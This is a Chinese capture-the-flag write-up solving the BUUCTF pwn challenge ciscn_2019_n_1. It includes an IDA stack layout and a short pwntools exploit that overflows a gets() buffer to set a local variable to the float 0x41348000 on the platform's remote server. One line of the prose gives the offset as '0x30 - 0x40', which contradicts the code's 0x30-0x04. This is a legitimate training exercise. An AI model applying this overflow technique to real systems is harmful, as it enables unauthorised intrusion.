buuctf 刷題記錄_PWN ciscn_2019_n_1
PWN練習 ciscn_2019_n_1
這道題應該是由於平臺題目更新,導致網上我看的幾個exp均不可用(cnblog 和 csdn)這些exp裡面最主要的問題是平臺將題目更改為64位的,但是這些網站裡的exp裡面均為32位的。
解題
首先老規矩checksec
IDA檢視一下
再檢視一下func函式
本題思路就是通過gets傳入一個v1的值,然後依靠傳入的v1進行棧溢位,改寫v2的值,使得v2的數值等於浮點數的11.28125
檢視一下棧
-0000000000000030 ; D/A/* : change type (data/ascii/array)
-0000000000000030 ; N : rename
-0000000000000030 ; U : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30 db ?
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
-000000000000002A db ? ; undefined
-0000000000000029 db ? ; undefined
-0000000000000028 db ? ; undefined
-0000000000000027 db ? ; undefined
-0000000000000026 db ? ; undefined
-0000000000000025 db ? ; undefined
-0000000000000024 db ? ; undefined
-0000000000000023 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
v1在棧中的地址是0x30到0x04,所以要覆蓋的長度就是(0x30 - 0x40)
之後再寫入要求的v2的值,但是由於v2的值給的是浮點數,需要轉換成16進位制的,這個要求的v2的十六進位制值可以從彙編中找到。
將滑鼠停在上面就可以看到對應的十六進位制數值為0x41348000
EXP
綜上,exp如下
from pwn import *
p = remote('node4.buuoj.cn', 27949)
payload = b'a'*(0x30-0x04) + p64(0x41348000)
p.sendline(payload)
p.interactive()
A lion doesn't concern himself with the opinions of a sheep.